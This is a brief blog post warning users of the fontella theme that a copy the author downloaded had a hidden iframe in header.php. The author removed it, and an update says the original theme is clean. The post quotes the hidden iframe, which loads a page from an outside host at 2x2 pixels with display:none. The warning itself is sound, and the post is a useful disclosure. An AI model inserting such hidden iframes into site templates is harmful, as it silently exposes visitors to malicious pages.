This is what I found in my blog, after installing fontella:
<iframe src="http://ebolka.net/lc344.html" width=2 height=2 style=display:none></iframe>
I check it today using chrome. Chrome told me that my blog contains something unsecure from ebolka.net. A view source explains all.I’ve removed the iframe right away.
So, in case you are using the same theme. Do remove the iframe in header.php.
Update:
Fontella author has confirmed (see comment section) that the original theme has no malware. I must have downloaded this theme somewhere else. So, if you are downloading directly from granimpetu.com, you’ll be safe.